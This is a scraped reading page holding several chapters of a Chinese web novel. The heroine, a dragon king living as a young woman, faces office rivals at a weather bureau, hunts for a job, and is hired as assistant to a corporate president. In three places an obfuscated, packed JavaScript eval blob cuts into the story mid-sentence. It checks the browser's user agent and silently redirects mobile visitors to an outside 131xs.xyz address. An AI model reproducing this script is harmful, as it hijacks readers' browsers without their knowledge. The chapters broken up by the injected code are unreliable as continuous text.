张雅青刚租好房子,还没搬进去,家里就来了电话,说她妈妈住院了,于是张雅青就请假走了,准备回来的时候,把妈妈也接过来。 组长热心,知道情况后,便说让张雅青把钥匙留在办公室,他下了班去帮她搬家,再打扫打扫卫生,等她带着妈妈回来,直接拎包入住。 其他同事也闹着一起去,说人多干得快,于是就有了今晚这顿饭。 应真潇来都来了,便说和他们一起去打扫房间。 距离下班还有一阵子,众人一边吃着水果给今天的工作收尾,一边给应真潇分享单位的近况。 一是他们组最近蒸蒸日上,不仅搬到了这个又新又大的办公室,升职加薪也不少,尤其是组长,估计很快就要提拔,不在他们组了。 组长不管是技术还是人品都很过硬,在组里很有威信,大家说起来,只有替他高兴的喜悦之情。 组长挠挠头,不好意思道:“功劳是大家立的,凶手是小应制服的,奖励倒显着我一个人了。” 应真潇笑道:“组长还是太谦虚了,这是你应得的,更是大家应得的。” 慈故能勇,天底下最值得赞颂的,并非强者的胜券在握,而是凡人的挺身而出。危难关头,组长以身作则,其他组员也没有逃避责任,怎么奖励都是应有之义。 说完组内,同事又提起组外的八卦,朝着应真潇挤眉弄眼:“变色龙你还记得吧?” 变色龙是他们组给隔壁组一个男人的绰号。 那人和应真潇同一年进来,卖相尚可,刚来的时候,试图给应真潇献殷勤,没几天又冷淡了下来,私底下喝醉了酒,和他的同事抱怨,应真潇虽然长得漂亮,但孤儿出身,给不了他助力。 这事后来传到了局里,所有人都知道了应真潇没爸没妈,在孤儿院长大——美女的八卦总是格外吸引人。 外面风言风语到处传,组长带着其他组员,揪住变色龙,当着领导的面对质,问他为什么对女同事评头论足,还到处乱传女同事的个人隐私,是不是违反纪律,作风有问题。 时值巡视组在驻,局里对作风问题抓得很紧,变色龙同事怕引火烧身,早就把他供出来了,他无可辩驳,只能承认。 最终,领导勒令变色龙给应真潇道歉,道歉信在食堂公示三天,取消年度评优评先资格。 结果差强人意,也算出了口恶气,但梁子也是结下了,变色龙之后都躲着他们组的人走,应真潇组里的同事对他,也没什么好脸色。 “上次有个领导的秘书来单位找了他,然后他就请假回家了,”同事落井下石:“现在还没来上班呢,我听说是他攀的高枝的家里人,活该啊凤凰男……” 局里领导敲门进来,同事收了声。 事情明面上已经翻篇了,在领导面前,总还是要表现得团结一点。 “小应啊,你终于来了!”领导闻讯赶来,一进门,顺手摸了几个提子:“你们组下午茶不错啊,来来,小郑,你也吃一点。” 他欠身一让,露出身后的男人,身材高大,面容尚算清俊,戴着一副金丝眼镜,衣冠楚楚的精英气质,赫然是变色龙郑宇俊本人。 同事立马就不爽了,他尊重领导,领导还主动把人带过来找晦气,于是上前抢过水果盘子:“刘局,这是留给雅青的。” 刘局长:“你们组的张雅青不是请假回老家了吗?” “是啊。”同事说:“我们等下快递给她。” 团结不了一点。 刘局长不由得有些尴尬,回头纳闷地看了郑宇俊一眼。 “没事刘局,我吃过了。”郑宇俊主动给刘局长解围:“潇潇给我们组也送了的。” 他朝应真潇笑了笑:“谢谢你潇潇,芒果很甜。你最近还好吗?” 应真潇神色平淡:“你谢错人了,我没带芒果来。” 周陆两家送的都是浆果类,娇气昂贵,根本没有芒果这么亲民的品种。 郑宇俊一愣:“……嗯?” 局势正要陷入罗生门,走廊上传来一道女声:“郑宇俊,你是不是偷科长给他女儿买的芒果了?嘴怎么这么馋,连小学生零食都偷吃?” 说着,她挤进办公室,给众人递了个“你懂的”的眼神。 是宣传科的李小雨,他们组小贾的女朋友,纯自己人。 于是办公室立马充满了快活的空气,同事阴阳怪气:“我就说呢,潇潇给我们买的都是高档水果,怎么单给你送芒果,原来是你偷了别人的东西,赖到潇潇身上!” 郑宇俊立马涨红了脸:“……你别乱说,我哪里偷别人东西了!” “哎呀,监控都看到了!”李小雨和同事一唱一和:“嘴馋又不是什么原则性问题,你跟科长好好道歉,他肯定会原谅你的!快去吧,小丫头正在办公室哭呢!” “我、我……”郑宇俊的脸色由红转白,支支吾吾,半天说不出话来。 ——他怎么知道那是科长买的! 郑宇俊今天才回来上班,还是第一天转岗到办公室宣传科,知道别人在看他笑话,憋着一口气,打定主意要揽个大功劳,杀落井下石之人的威风。 宣传科这个月都围着应真潇小组转,最大的功劳,自然是迟迟未定,又是书记秘书亲自提点过目的,应真潇本人的宣传稿。 他还正愁和应真潇有龃龉呢,没想到天上掉馅饼,听到别人说应真潇回来了,还给每个办公室都送了水果。 于是,郑宇俊赶紧吃了水果,找到局长,说应真潇有和解的意思,又略略提了提身后人的名字,示意局长把这件事交给他。 谁知道……! 他看着刘局长,正要解释,刘局长脸色铁青道:“好了,都别说了!” 办公室安静了下来,不过小组众人脸上没有惧意,他们吃的是公家饭,现在还立了大功,领导看他们脸色还差不多,哪有被领导唬住的。 “那谁,李小雨,小应的宣传稿交给你负责!”刘局长心烦意乱,随便点将,看应真潇表情冷淡,咳了一声:“小应啊,你跟我来会议室,其他几个领导也到了,我们拍个合照。” 郑宇俊脸色一白,赶紧暗示道:“孙……” “什么孙局长李局长!”刘局长不耐烦道:“你要行方便,让他亲自来跟我说!” 说完,他转身就走。 郑宇俊说应真潇原谅他了,特意送了水果示好,刘局长才想着过来给个台阶,本意是化解矛盾,加强组织内部团结。 谁知道这小王八蛋竟然撒谎骗他!刘局长暗恼,他确实存了给孙局长做个顺水人情的想法,但是孙局长怎么比得上书记亲自过问,特意委派秘书过来处理相关事宜的应真潇呢! 早知道还把应真潇得罪了,他打死也不出这个头! 郑宇俊脸色惨白,回头看着办公室众人。 其他人要么面带嘲弄,要么满脸嫌弃,只有应真潇,明明应该是风暴中心的她,神色却平淡得如同一潭静水。 她双手交叠,双眸冷淡,看他的表情,就像在高高的神座上,俯瞰一只大小不到一个像素点的蚂蚁,没有任何情绪。 他气急攻心,直挺挺地晕倒过去。 室内立马充满了快活的空气。 他们组阴盛阳衰,别的都缺,就壮劳力多,组长组织了两个男同事:“走,我们把这家伙搬到医务室去,小贾你留下,陪小雨吃点水果零食,小应啊,局长叫你去你就去忙吧,这里不用操心。” 大家热情高涨地答应了。 李小雨抓了一些水果零食——这些本来也是给她留的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447587|169451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑嘻嘻地挽着应真潇的手臂:“走走走,这么大的功劳局长交给我了,我一定好好干!” 应真潇笑着答应了,心里却暗暗松了口气。 她刚才看似淡定,实则心里慌张不已。 小崽出生以来,第一次见到这么热闹的场面,开始还能绷住,到后面实在太兴奋了,差点在袋子里蹦起来,应真潇捂住他,他还不停地向左旋转 ——热闹好看,爱看! 应真潇哭笑不得,安抚了半天,总算把小朋友安抚住了。 局长叫她过去也没大事,就是拍照,以及颁奖——她的见义勇为先进个人表彰奖状和奖金,都发到了局里。 她人虽然离职了,但局里不能不蹭这个热度,一是宣传教育有指标,应真潇长得漂亮事迹先进抓人眼球好凑指标;二是,应真潇自毕业就在他们这干,她见义勇为,不是证明局里精神文明建设工作卓有成效吗? ——反正外人又不可能来核实谁在编谁不在。 局里领导班子依次和她握手合照,又拍了大合影,各个笑容灿烂,态度亲切,刘局长让李小雨把照片给应真潇看:“小应啊,你看这个照片见报怎么样?” 应真潇点点头。 她反正配合宣传工作,不过有的选的话,她确实更中意李小雨——李小雨是宣传科拍照技术最好的,把她拍得格外漂亮英气。 应真潇满意得恨不得要来底片,托梦给龙女庙的造像师,以后按这个来画。 开完会就到了下班时间,李小雨和他们一起去搬家打扫卫生。 组长给女同志派的是相对轻松的活,李小雨一边扫地,一边说郑宇俊龙王归来的始末,绘声绘色。 上次郑宇俊请假离开之后,坊间流言也没停过,而郑宇俊迟迟没有露面,似乎又坐实了大家对于“攀高枝不成蚀把米”的猜测。 直到今天,郑宇俊不但志得意满地回来了,岗位还转到办公室去了——办公室中层以上干部是参公编制,那可是全单位为数不多,称得上有仕途的地方,不知道多少有志中青年盯着呢。 李小雨看他不爽,脑子转得也快,一进办公室,听说郑宇俊吃了科长的芒果,又听说郑宇俊找局长领了采访应真潇的任务,立马嗅到了不寻常的味道,赶来解围。 她叉着腰:“这就是timing!” 组长给她比了个大拇指:“进场时机确实巧妙,在下佩服。” “不过今天虽然解气,以后可怎么办啊,”李小雨又叹了口气:“你们今天听到没?那个傻逼背后有人啊,谁这么没眼光,连这种货色都提拔?” “秋后的蚂蚱罢了,蹦跶不了几天了。”应真潇神色淡淡,顿了顿,又道:“大家专业过硬,工作努力,行得正坐得直,还有荣誉在身,以后一定前途无量。” “潇潇说得对。”组长也点头,鼓励大家:“技术和为人民服务的态度才是咱们的立身之本,干嘛怕他那种汲汲营营的小人,退一万步讲,真有什么,他不也有骚扰女同事的实锤前科在吗?” 他有他的天线,组织也有组织的纪律;更何况,这是江城,显贵如过江之鲫,为所欲为的门槛也是很高的,从今天刘局长的反应来看,郑宇俊显然还没达到。 众人一想也是,李小雨举起扫把,大声宣布:“干!咱们骑驴看唱本,走着瞧!” 应真潇但笑不语。 同事们以为她是在安慰他们,但她说的是真的。 今天下午去会议室之前,她借小崽的力扫了办公室一圈。 办公室内盈满清正之气,组员们个个身裹青气,组长身上甚至有一层浅浅的紫气,确实符合马上要提拔的猜测,而且如果能一直保持初心,组长以后的前途十分光明。 这并不意外,凡间的秩序,甚至是天道的秩序,都说不得完全公平,但无论是仙还是人,善恶都在冥冥中有记载,今日不报,他日必报,正所谓天道无亲,常与善人。 郑宇俊则和他们完全相反,通身浓郁的黑气,在她的视野里,甚至脸色灰败,浮现出尸斑似的黑紫斑点。 虽然不知道发生了什么,但是看起来,不单是仕途,郑宇俊的物理生命都快要走到尽头了呢。 10. 当龙王 10 聚餐结束后,应真潇和同事们告别,回了酒店。 短暂的欢乐告一段落,现在她的当务之急是——找个班上。 根据指南的指示,她的下一份工作,应该和她原本的神职无关;应该正规,至少交五险一金;应该收入不低于当地重点大学本科生平均水平,也就是……年薪大于十五万。 应真潇差点把手机丢出去。 不是这么高的收入都是谁在拿啊?这不是扯大学生前腿吗? 她幽怨地点开求职软件。 根据条件排除后的可选项其实不多——毕竟应真潇学的是应用气象学,就业面本来就狭窄,还大都和龙王本职冲突;学校虽然是重点大学,履历也好看,但江城又不缺重点大学学生。 她挨个投简历问过去。 第一家HR回复得很快:【抱歉我司无法接受你离职后整整一个月的空窗期】 应真潇:…… 整整一个月?你要不要听听自己到底在说什么? 她无语,叉掉了聊天界面。 第二家是主动找来的,言辞热络,保证每个月底薪三万:【没有才艺也可以,你放心,绿色直播,纯聊天】 应真潇:…… 这一听就很不绿色。 剩下的几家也是各有各的逆天之处,有劳务派遣的,有说标的工资是底薪加绩效的,甚至还有初创公司空手套白狼,说工资以公司期权形式发放。 应真潇无语。 好严峻的求职形势,她退出软件,还是决定去同学群问问,看看有没有资源。 应真潇人缘不错,她一发话,同学群很快就热闹了起来,但介绍工作的少,看热闹的多——气象学就业,主打一个自身难保,当年应真潇一战上岸江城气象局,都属于就业优秀案例了。 【我们学气象的是这样的,白天看云,晚上数星星,月底领低保】 【气象学专业四大就业方向:转行、考研、考公、出家,潇潇你选一个吧】 【气象专业三大幻觉:明天会下雨、下周会降温、毕业后能找到工作】 【别问,问就是受副热带高压影响】 【当初以为学气象能掌控天气,现在才发现连下个月有没有饭吃都掌控不了】 【别闹,掌握天气的是龙王专业,我们撑死算个龟丞相】 【没事啊潇潇,虽然整体就业形势不好,但局部地区可能有机会】 应真潇恨不得挨个点赞。 一个相熟的学姐私下给她打语音,开门见山:“潇潇,我们部门现在缺人,限内推,待遇还可以,你要不要来看看?” 近几届里,学姐算是发展得相当好的,一方面能力出众,另一方也是背靠大树——她毕业后进入了远潮集团。 应真潇以前对远潮集团的认识,仅限于其航运业起家,现在商业版图非常广,现在嘛……她摸了摸小崽:“学姐,我目前不太想做气象相关的工作了。” 学姐:“我也跑路了,现在在项目部。本科生搞技术确实没出路,搞气象技术更是死路一条。” 应真潇:…… 果然,气象学最后的出路就是提桶跑路。 她研究了一下学姐发来的招聘资料,确实不是技术岗,是项目经理,负责对接客户,大体上可以说是高级客服。 因为需要掌握一些专业知识,所以要求重点大学理工科专业出身,六险二金十五薪,即使不算绩效工资,也能达到指南上的工资要求。 “不过上班时间要跟着客户走,没那么规律。但是潇潇你放心,我们是正规公司,加班费不会克扣,不忙的时候,也可以安排调休。” 学姐说话还是可信的,应真潇想了想,合心意的工作不好找,反正这岗位多半也见不到陆雁书,于是应了下来,把简历发给学姐:“多谢。学姐,回头我请你吃饭。” “你要是定下来了,我请你吃饭——公司有内推奖励呢。”学姐笑着说,电话里传来敲击键盘的声音:“……诶?” 应真潇:“怎么了?” “没事,刚才网页闪了一下。”学姐说:“系统显示接收成功,潇潇你等通知吧,应该两三天就有结果了。” 说是这么说,但次日一早,应真潇就收到了远潮集团的面试通知,效率高得她以为是诈骗短信。 她给集团人事部门打了个电话,确认了信息真伪,才揣上小崽出门:“走,咱们去大厂见见世面。” 小崽兴奋得直转圈圈。 远潮集团总部距离气象局十站地铁,地段不算城市中心CBD,但也是相当繁华的地方,两幢连廊相连的全玻璃幕墙高楼,在林立的高楼间,也显得十分出众。 应真潇走进大门,和前台确认过面试信息后,拿着临时通行卡走进电梯。 电梯关闭前,两个穿着正装,行色匆匆的女人赶了进来,等气喘匀,左边的人道:“你看到群消息没,陆总后天正式回公司。” “陆总后天回来?他这么快就康复了吗?”右边的人“啊”了一声:“那来总怎么办?” “还能怎么办?凉……”左边的人余光一瞥,发现了角落里的应真潇,收了声,朝她尴尬地笑了笑。 应真潇不动声色。 陆总大概率指的是陆雁书,这么听起来,远潮集团内部,似乎不像外界看起来那么太平。 但是和她有什么关系,她就是来混口饭吃的。 “叮”的一声,电梯停在了人事部的楼层。 面试分为两轮,技术面和HR面;应真潇应聘的是项目经理,按常理来说,技术面应该就是走个流程。 结果真进了考场,她才发现笔试难度挺高,考题主要与概率论、数理统计相关;后面还有上机考试,涵盖数据处理的各个环节。 这显然超出招聘要求的范畴,也就是应真潇,本科学的就是气象,数理统计与数据处理本色当行,还专门选修过进阶课程,否则一般人还真应付不来。 这有点奇怪,但是想想就业市场的其他奇葩,她又释然了,等待成绩时,摸着小崽感叹道:“资本家是这样的,发的是卖白菜的工资,却要求有卖白粉的本事。” 小崽不知道听没听懂,在她掌心转圈圈。 十分钟后,人事部的人通知她,技术面成绩合格,可以进入HR面环节了。 大抵是技术面环节表现优秀,应真潇一进入会议室,对方就亲切友好地请她落座。 “老实说,应小姐,你的教育经历并不符合我们的要求,”人事经理说:“但是我们还是决定给你一次机会。” 应真潇无语,她哪里不符合招聘要求了?万恶的资本家,打个工还PUA人。 “所以,”经理微笑道:“说说你对总裁助理这一岗位的认识。” 应真潇:……? 终于知道违和感是哪里来的了:) “什么总裁助理?”她缓缓道:“我应聘的职位不是贵司的项目经理吗?” 经理懵了,疑惑中稍带慌乱,和身边人确认过后,长出了一口气:“不是的,应小姐。您投递的职位是总裁助理。” 旁边的人补充道:“这个职位我们昨晚刚上线,您是第一个投递者,您的教育经历不符合要求,但是其他方面颇具优势,又擅长概率统计和数据处理,我们才决定给您面试机会。” 应真潇警惕:“其他方面的优势指的是?” 经理:“形象佳气质好。” 应真潇:…… “不是,”她忍不住说:“你们这岗位真的正经吗?” 她不禁想到了昨晚的绿色直播,陆雁书看着清清冷冷的,也不像那种人啊,而且这家伙一个月前还是童子身,合着是行为保守但思想开放? “不是,您误会了。”经理连连摆手:“我们这个岗位不限男女的,只要外貌端正身材挺拔即可。毕竟作为总裁助理,会和总裁一起外出,也是展示我们集团形象的窗口嘛。” 应真潇一想也是,陆雁书长得那么好看,要是助理太磕碜,往他身边一戳,被衬得都不像是个人,那也太残忍了。 “多谢贵司的肯定,不过我想我没办法胜任总助的职位。”她露出营业微笑,起身离开:“祝贵司招聘顺利。” 她和陆雁书有过肌肤之亲,虽然陆雁书忘了,但她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447588|169451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记得,天天见面,多少有点尴尬。 “哎哎,应小姐留步!”经理劝道:“您再考虑一下吧,总助待遇很好的,每个月底薪四万整,按最高标准缴纳六险二金,全年最高绩效二十薪,除了公司常规福利补助,另有……” 应真潇一屁股坐回凳子上:“您详细说说。” 什么肌肤之亲?忘了。 经过一番洽谈,双方友好地达成了协议,两天后入职。 应真潇把消息告诉了学姐,正巧午休时间到了,两人约定在附近的一家粤菜馆见面。 学姐有个会,应真潇先到,索性去买了两杯奶茶,学姐后脚赶到时,笑了:“这下咱俩想到一块去了。” 她扬了扬手中的保温袋,也是两杯奶茶。 两人落坐点好菜,聊起应真潇的面试经历,学姐感叹道:“原来昨晚不是我网卡了,是系统更新了,不过你也是上错花轿嫁对郎了,我听说总助岗位待遇很好。” 应真潇笑着点了点头:“待遇是挺好的。” “不过,”学姐左右环顾,上身前倾,压低声音:“陆总要回来了,来总那边可能不会太平,总办就是风暴中心,我怕其他人看你是新来的欺负你,潇潇你要多听,少说,别被人当枪使了。” 又是陆总和来副总,这是应真潇今天第二次听到这个名字了,所有人都知道,但所有人都讳莫如深,好像这是个公开的秘密。 早上她是事不关己高高挂起,这会儿倒是利益相关,起了好奇心:“学姐,你给我说说,到底是怎么回事?” “哎,说来话长。”学姐说。 来副总名叫来思齐,是远潮集团的首席财务官兼执行董事。 她履历传奇,海外名校毕业后,先是短短几年,成为安永江城分所最年轻的高级合伙人,此后转投中信,牵头了几个重大项目,又迅速晋升为董事总经理,随后受邀加入远潮。 彼时正值远潮转型的关键期,来思齐加入后,主导了所有的重大投资决策,一手策划了对远潮影响深远的几个并购案,也因此一跃成为整个集团,地位仅次于老董事长的人。 如此功勋卓著、位高权重,又备受老董事长器重,在所有人看来,等老董事长退居二线,她就是新总裁。 结果,两年前老董事长退位后,新任命的执行总裁,是太孙陆雁书。 小陆总自然也是人中龙凤,但事情坏就坏在这里——就算一公一母,一山也不容二虎啊。 当时大家都觉得会出事,但一度风平浪静的,来副总不但没表达意见,甚至工作还十分配合;等大家以为尘埃落定的时候,事情又出现了转折: 年会上小陆总意外落水,不知所踪;来副总临危受命代任总裁,一切刚要走上正轨之际,小陆总又回来了。 这跌宕起伏的剧情,本就耐人寻味;还有相关人士透露,来副总一度非常暴躁,身边的人不敢触霉头,引得大众猜测纷纷,甚至有人说,小陆总落水其实是个幌子,失踪一个月是被来副总监禁了。 应真潇:…… 其实是被她抓起来了啦。 她也是大姑娘上轿头一回,还以为交衍期睡一觉就好了,走到最后一步前,把陆雁书叫醒确认的时候,还信誓旦旦的,说只耽误他一两天时间,完事就送他回去。 结果后面的事情失去了控制,浮浮沉沉的海浪之间,她满脑子只有陆雁书英俊的容貌、冷白泛着粉的肌肤、温热的泪滴和毫无章法的亲吻,容不下其它东西。 ……总之,等理智重回大脑时,已经一个月后了。 想到这里,应真潇咳了一声,欲盖弥彰,不太自在。 “……尤其是上周董事会,那叫一个修罗场啊。”学姐八卦逐渐上头:“董事长当众宣布陆总即将回归,还跟来总说这下你担子就轻了,来总居然笑了一下!” 在众人看来,这就是怒极反笑的笑,就是暴风雨即将到来的笑。 “……总之,现在是风雨欲来的前夜啊。”学姐提点她:“你别管那些八卦,多听多做少说,千万不要乱出头。” “行。”应真潇点点头:“多谢学姐,我会留意的。” 11. 当龙王 11 两天后,应真潇正式入职。 地铁口的瓷砖光可鉴人,应真潇看着自己的倒影,妆容清淡,白衬衫、工装裙、丝袜、平跟单鞋,胸口挂着工牌,极具精英感。 她突发奇想,拐进咖啡店。 都市丽人的一天,从牛马口服液开始。 她点好单,小程序显示还要五分钟,于是找了个位置坐下等。 “小姐你好,”一个男人走过来,西装革履,看起来文质彬彬:“请问这边可以坐吗?” 应真潇点头:“请便。” “小姐,我看你工牌是远潮的,是在这边外派吗?”男人微笑道:“我也在远潮工作,可以认识一下,请你喝杯咖啡吗?” 应真潇胸口挂着绿色工牌,这个牌子一般是外包人员用的,人事部拿给她,主要是方便她今天通行,等办完手续,就换成正式员工的蓝色工牌。 应真潇摇头:“不用,我点好了。” “那我请你吃块蛋糕吧。”咖啡店也提供简餐,男人说:“我没有别的意思,只是想和同事交流一下。” 应真潇看了一眼手机,还有一分钟:“好意心领了,多谢。” “给个面子嘛小姐。”他脸上笑容有点绷不住了,回头看了一眼他刚才坐的桌子,好几个人正关注着他,似乎是他的熟人,于是拿出工卡:“你知不知道我是谁?我可是总……” 叫号器叫号了,应真潇起身走人:“与我无关,失陪了。” 搭讪应真潇经历得多了,小插曲并未影响心情,她拿着咖啡走进公司,路过镜子时,忍不住笑了一下。 在气象局时,她一直是素面朝天,运动服双肩包,和上大学的时候一样;但远潮要求工作时间穿正装,颇有一种角色扮演的新奇感。 “你好,你就是应真潇吗?”一个年轻女孩走了过来,穿着正装,笑意盈盈:“我是钱佳妮,公司安排我当你的带教老师,请多指教。” 她是总办的另一位助理,特意等在人事部,陪应真潇办入职手续。 应真潇点点头:“我是。早上好,钱老师。” “咱俩也没差几岁,你叫我名字就行。”钱佳妮领着她办手续,说:“对了,你是不是就是之前那个,见义勇为制服精神病的气象局工作人员?我刷到过你。” 应真潇有点尴尬:“对,是我。” 当时没考虑那么多,要是早知道后面还要上班,就不出那么大风头了——当面被人说起来,还真有点不好意思。 “你身手真厉害!”钱佳妮没问她为什么从气象局离职,转而说起:“我看你照片的时候,就觉得你超级漂亮,没想到真人比照片上还要漂亮呀,简直像女明星一样。” “过誉了。”好话人人都爱听,应真潇笑着说:“照片上是素颜,今天化了妆。” 办完手续,两人乘电梯去顶楼总办,电梯门一打开,门外候着一波人。 为首的是着西服的女士,身量高挑,容貌清秀,气质沉稳干练,看起来成熟自信。 她身后跟着几个秘书模样的人,手里抱着文件和纸箱,动静像是搬家。 “来总早上好!”钱佳妮立马绷紧了皮,拉着应真潇让出电梯:“您请。” 那人颔首,目光转向应真潇,钱佳妮极有眼色,介绍道:“这是新来的总助小应,她是来接替徐凯明的。” 原来这就是传说中的来思齐,应真潇看着她的杏眼,朝她笑了一下:“来总,久仰。” “你好。”来思齐点点头,没再多说什么,领着一帮秘书走进了电梯。 等他们走了,钱佳妮松了一口气,领着应真潇进办公室:“你先坐这边。徐凯明——就是你这个岗位之前的人,还没来得及收拾工位。” 其实工位都差不多,总办又大又宽敞,秘书处每人一张大办公桌,看起来井然有序;不过因为工作内容涉及到数据处理,应真潇这个岗位,配了配置颇高的处理器。 这难不倒应真潇,她扯了根数据线,把显示器连上隔壁的主机:“这样就可以了。” 钱佳妮比了个大拇指:“厉害,下次我电脑有问题可以找你了。” 应真潇笑了笑:“小问题的话,可以。” 钱佳妮正要说工作的注意事项,她的手机响了,是叫她赶紧带新人来开例会的消息,她一拍脑门:“差点忘了早上有会!走走走,先去开会。” 远潮集团家大业大,横跨多个领域,秘书处的人员也多,十六个助理分别负责不同的领域,每周都要开例会总结工作。 两人来得最晚,敲门进会议室时,正在进行的会议也随之暂停,钱佳妮把应真潇介绍给众人,又把坐在上首的人介绍给应真潇:“这位是代理总助吴青山吴助,也是我们秘书处的代任处长。” 坐在上首的吴助看向应真潇,居高临下,笑意不达眼底:“应小姐,又见面了。” 正是在咖啡店和应真潇搭讪的男人。 钱佳妮左右看看:“吴助,你和小应认识?” 吴青山没搭理她,对应真潇说:“你刚来,会议内容与你无关。正好来总刚搬走,你去把总裁办公室的卫生做了,免得等下陆总来了,办公室不整洁。” 会议室为之一静。 众人的目光都集中在应真潇身上,而应真潇不为所动,神色淡淡:“我的职位是总裁助理,工作内容不包括保洁。” 吴青山哼了一声:“看来应助理不认可我这个处长。” “分外的工作,需要重新签合同。”应真潇平淡回应:“吴助有这个权限吗?” 吴青山怒极反笑:“好,好得很。应助理很有分寸感。” 他甩出一份文件:“这是项目部刚送来的紧急文件,你送去给来总签字,记得提醒她,落款是代理总裁。别告诉我,送文件也不在你的工作范围内?” 这个时间点,拿文件去给来总签代理总裁的字,和落井下石有什么区别?让新人去捋老虎须子,这穿小鞋的意图也太明显了。 有人出声打圆场:“吴助,陆总马上就到公司了,就不用麻烦来总签字了吧?” “这是一级紧急文件,按照规范,工作日三十分钟之内,就要送到负责人手里。”吴青山反问:“陆总什么时候来都不知道,耽误了事情你负责任?” 大帽子扣下去,那人不好再接话了。 钱佳妮硬着头皮:“我、我去吧吴助理,我是她带教,她刚来,不知道工作规范,万一……” “我是处长还是你是处长?”吴青山恼得很,瞪她。 应真潇朝她摇摇头,看向吴青山,神色从容平淡:“吴助理,你确定要我去送这份文件?” 吴青山冷笑:“对。我以代理秘书处处长的身份,要求你履行你分内的职责,有异议吗?” “没有。”应真潇朝他勾了勾唇角:“有吴助这句话我就放心了。” 说完,她拿起文件离开会议室。 吴青山虽然得逞,但他想要的不是这种反应,敲了敲桌子,没好气道:“看什么看,继续开会!” …… 来思齐办公室在财务部,门口也有个秘书处。 应真潇敲了敲门,众人抬起头,一个刚才跟在来思齐身后,似乎是大秘的人迎了上来,笑容满面:“应助理来了。” “我找来总。有份文件需要签字。”应真潇点点头,扬了扬手上的文件。 大秘点头,引路开门,请她入内:“来总就在办公室,您请。” 等应真潇进门,她随手带上门出去了。 “来总。”应真潇一板一眼,复读吴青山的话:“有一份一级紧急的文件,需要您过目。” 来思齐扑哧一声笑了,招招手,温和亲切:“行,拿过来吧。” 她一边看文件,一边对应真潇说:“本来想当面感谢应小姐对鲤鲤——就是雁锦的救命之恩,一直未能成行,没想到今天在公司见到了,幸会幸会。” “您客气了。”应真潇说:“其实是一个蜃精救了陆雁锦。我当时只是打断了她的捉弄,救命之恩愧不敢当。最近忙着找工作,无暇应邀,请您见谅。” 来思齐失笑:“应小姐才是真的客气了。不管怎么说,我和鲤鲤爸爸,很感谢你对我们孩子的关照。” ——没错,来思齐是陆雁书兄弟的亲妈。 比起英俊精致的的陆雁书,陆雁锦更像妈妈,杏仁眼微圆,应真潇和他熟悉,第一眼就发现了,回顾这几天听到的风言风语,不由得感到无语。 来思齐是亲妈,当然不会对好大儿有意见;而陆雁书失踪,来思齐不着急上火才怪。 应真潇微笑:“您客气了。叫我小应就行。” “好的,小应。你要是不介意,可以叫我来阿姨。”来思齐笑道:“你到远潮工作,是我们陆家的荣幸。如果工作生活上有什么需求,都可以告诉我,或者跟鲤鲤他们兄弟说,我们一定尽力。” 应真潇摇摇头:“没什么需求。来阿姨,在公司我还是叫你来总吧,我是正经来上班的,请不要特别关照我。” ——影响她kpi结算怎么办? 来思齐忍俊不禁:“好的,应助理。” 文件不长,来思齐很快就翻阅完毕,在最后一页签字盖印:“好了。应助理,是谁让你把这份文件拿过来的?” 应真潇笑了:“这算是告状吗?” “不算。”来思齐笑着摇摇头:“是我主动问的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好。公司章程明文规定,一级紧急文件和一级机密文件,禁止非正式员工经手处理。”来思齐大秘厉声道:“既然你明知工作规范,为什么要让处于试用期的应助理,处理紧急文件?” “保密制度是集团的红线,员工培训、内部会议反复强调,保密协议白纸黑字,往大了说,是法律义务;往小了说,是职业道德的基本要求,你为什么明知故犯?” 吴青山懵了,支支吾吾:“我、我……” 总办秘书处是公司核心中的核心,经办的文件,基本上都有一定密级或是紧急程度,再加上总办两年没有新人,他早就脱敏了,只记得不外传,哪里还记得分级处理的规定。 更何况他当时气急攻心,只想着怎么让应真潇吃瘪,顺手就甩出去了,更加没想起来这茬。 “国有国法,公司也有公司的制度。”大秘严肃道:“不管你有什么理由,公司都必须按章程处理。” “——根据《员工手册》第十三条第三款,以及保密协议第十七款,你的行为已经构成重大违纪,公司有权解除劳动合同并追究相应法律责任!” 吴青山脸色大变。 “至于应助理违规操作的责任,”她看了一眼应真潇:“你今天刚报道,尚未接受培训,责任不在你,公司不会追究;你的带教老师依据章程,扣除本月绩效,并给予内部批评处分。” 钱佳妮的脸色一下子就垮了。 应真潇举手:“何秘书,钱老师没有违规操作,吴青山派我去送文件,她阻止过,并且明确提出我还不懂规范,但是吴青山声称自己是代理秘书长,要求她服从。” “是么?”来思齐大秘扫了一眼神色紧张的钱佳妮:“例会有录像,我会让人事的人查证。如果你说的属实,那钱佳妮也无需负责。” 钱佳妮松了一口气。 吴青山顾不上体面,哀求道:“何助,何助我错了,我是一时大意,不是故意的,针对应助理是我不对,我向她道歉,请公司念在我是初犯,给我改过自新的机会啊——” 